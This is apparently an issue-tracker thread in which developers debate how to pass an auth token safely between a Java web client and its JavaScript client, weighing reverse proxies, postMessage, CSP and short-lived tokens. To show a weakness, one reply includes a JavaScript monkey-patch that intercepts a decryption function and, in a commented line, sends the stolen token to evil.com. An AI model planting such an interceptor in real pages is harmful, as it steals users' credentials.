The problem with reverse proxy is that it brings extra complication, more software (external Apache or NGINX) to manage/configure and it adds overhead to every network round trip. So: we don't want to require this as part of our solution.

2. An auth token passed to the inner frame from the top via a postMessage with the following conditions.

I'm open to this.

Greg Shah wrote:

When the JS client is initialized, it received an unencrypted decryption key from Java client to decrypt the api token. This is a major security concern. It is like sending a locked safe through the mail (secure transport/HTTPS) but taping the key to the front of the safe. Note that while the transport may be safe, the endpoints are not. Once the key reaches the Javascript context, it is visible to the user (via DevTools/Debugger), malicious browser extensions, cross-site scripting (XSS) attacks.

We can't move ahead with this design.

I see two options.

1. Reverse proxy to have both the top and the inner iframe be served by the same server and keep the SameSite session cookie. This is the most secure solution and doesn't require any code changes.

The problem with reverse proxy is that it brings extra complication, more software (external Apache or NGINX) to manage/configure and it adds overhead to every network round trip. So: we don't want to require this as part of our solution.

2. An auth token passed to the inner frame from the top via a postMessage with the following conditions.

I'm open to this.

Greg, I do not understand why you and Hynek decided that I implemented the described by this text a design?:

When the JS client is initialized, it received an unencrypted decryption key from Java client to decrypt the api token. This is a major security concern. It is like sending a locked safe through the mail (secure transport/HTTPS) but taping the key to the front of the safe. Note that while the transport may be safe, the endpoints are not. Once the key reaches the Javascript context, it is visible to the user (via DevTools/Debugger), malicious browser extensions, cross-site scripting (XSS) attacks.

OK, then please provide a detailed description of your changes and why they are safe and secure.

Sergey Ivanovskiy wrote:

Greg, I do not understand why you and Hynek decided that I implemented the described by this text a design?:

When the JS client is initialized, it received an unencrypted decryption key from Java client to decrypt the api token. This is a major security concern. It is like sending a locked safe through the mail (secure transport/HTTPS) but taping the key to the front of the safe. Note that while the transport may be safe, the endpoints are not. Once the key reaches the Javascript context, it is visible to the user (via DevTools/Debugger), malicious browser extensions, cross-site scripting (XSS) attacks.

Sergey, the problematic part is websock.clientReady(config.getString("security", "aes_gsm", "key", "")); in GuiWebDriver.clientReady. Unless I'm missing something the string read from config (defined in the directory) is an unencrypted key sent to the js client in MSG_CLIENT_READY web socket message.

This value is not persistent in the directory. It is a temporary value delivered to the java web client by WebClientSpawner. Why do you think that this way is not a secure way to deliver the session secret key? If this way is not secure, then all messages between the java web client and the js web client can be considered insecure.

Greg Shah wrote:

OK, then please provide a detailed description of your changes and why they are safe and secure.

The js web client gets the session secret key from the java web client and store this key in the memory. This key is used to build public one-time web tokens. Web tokens are allocated from the java web client side.
If this way is not considered secure, then all messages between js web client and the java web client are insecure.

Sergey Ivanovskiy wrote:

This value is not persistent in the directory. It is a temporary value delivered to the java web client by WebClientSpawner. Why do you think that this way is not a secure way to deliver the session secret key? If this way is not secure, then all messages between the java web client and the js web client can be considered insecure.

Right, it is not saved in the directory and I missed this part, but the analogy with the safe and the key still applies. You generate a secret api token on the server, you pass it to JS client and then send it an unencrypted key. Giving the JS client an unencrypted key doesn't make the authentication process any more secure, unfortunately. It only introduces some noise.

To make the process more secure it is important to implement some measures to prevent a potential XSS attacker or a malicious browser plugin to steal the token and misuse it. Please see point 2 in #9709-411.

Hynek Cihlar wrote:

To make the process more secure it is important to implement some measures to prevent a potential XSS attacker or a malicious browser plugin to steal the token and misuse it. Please see point 2 in #9709-411.

Which data your proposed schema should defend? I think that XSS attacker cannot read the private field in the memory. Why do you think that these attacks are possible for the private field? Why do you consider the case when the js web client host is compromised. The current secure cookies are not secure in this sense.

Greg, Hynek, please note that the security requirements that you are considering are not satisfied by the trunk!
If I understand correctly the proposed schema should deliver short leave session keys. During this time this schema can be compromised by the same hypothetical methods by some attackers.

Please specify the security requirements that should be satisfied to implement one-time web tokens and please explain why 9709b does not satisfy them.

Sergey Ivanovskiy wrote:

Hynek Cihlar wrote:

To make the process more secure it is important to implement some measures to prevent a potential XSS attacker or a malicious browser plugin to steal the token and misuse it. Please see point 2 in #9709-411.

Which data your proposed schema should defend? I think that XSS attacker cannot read the private field in the memory. Why do you think that these attacks are possible for the private field? Why do you consider the case when the js web client host is compromised. The current secure cookies are not secure in this sense.

While an XSS attacker can't read the private field directly she could "patch" the relevant functions when the key is passed around. Secure cookies are safe as the browser won't allow JS to read the cookie.

Sergey Ivanovskiy wrote:

Greg, Hynek, please note that the security requirements that you are considering are not satisfied by the trunk!
If I understand correctly the proposed schema should deliver short leave session keys. During this time this schema can be compromised by the same hypothetical methods by some attackers.

You are right, even the short-lived tokens can be misused. But making them short lived at least shortens the window. And so it is important to also harden the execution by the above mentioned Content Security Policy.

Sergey Ivanovskiy wrote:

Please specify the security requirements that should be satisfied to implement one-time web tokens and please explain why 9709b does not satisfy them.

The requirement is to use maximum meaningful measures to prevent unauthorized access to the system. Short-lived tokens are more secure as they shorten the window for the attacker to misuse the token. CSP makes it harder to steal the token by a potentially injected malicious JS. OTOH sending encrypted token together with the decryption key is neutral to the security and doesn't add any value. In fact it adds significant code complexity and maintenance burden, so it should be removed.

An important point, the CSP measures should be configurable. They could prevent Lyra from extending the site DOM and effectively break FWD automated testing, see #10860 and #11113.

Hynek Cihlar wrote:

Sergey Ivanovskiy wrote:

Hynek Cihlar wrote:

To make the process more secure it is important to implement some measures to prevent a potential XSS attacker or a malicious browser plugin to steal the token and misuse it. Please see point 2 in #9709-411.

Which data your proposed schema should defend? I think that XSS attacker cannot read the private field in the memory. Why do you think that these attacks are possible for the private field? Why do you consider the case when the js web client host is compromised. The current secure cookies are not secure in this sense.

While an XSS attacker can't read the private field directly she could "patch" the relevant functions when the key is passed around. Secure cookies are safe as the browser won't allow JS to read the cookie.

What should be patched? The web socket object is also private.

I think that XSS attacks cannot reach the target aim to steal the secret key in 9709b case.

Sergey Ivanovskiy wrote:

What should be patched? The web socket object is also private.

See the example:

(function() {
    // 1. Save the original function
    const originalDecrypt = p2j.decryptApiTokenValue;
    // 2. Overwrite ('Monkey Patch') the function on the public object
    p2j.decryptApiTokenValue = async function() {

        // 3. Call the original function to let it do the hard work 
        // (using the 'private' keys you thought were safe)
        const result = await originalDecrypt.apply(this, arguments);
        // 4. Steal the result! 
        // You just did the decryption for me using your private key.
        console.log("Stolen Decrypted Token:", result);

        // Send it to my evil server
        // fetch('https://evil.com/steal?token=' + encodeURIComponent(result));
        // 5. Return the result so the app continues working normally 
        // (the user sees nothing wrong)
        return result;
    };
})();

Hynek Cihlar wrote:

Sergey Ivanovskiy wrote:

What should be patched? The web socket object is also private.

See the example:
[...]

It is not an issue because the code could use private functions and decryptApiTokenValue can be private.
You found that the current code uses the public function that can be fixed. XSS is not an issue for the secret key stored in the memory.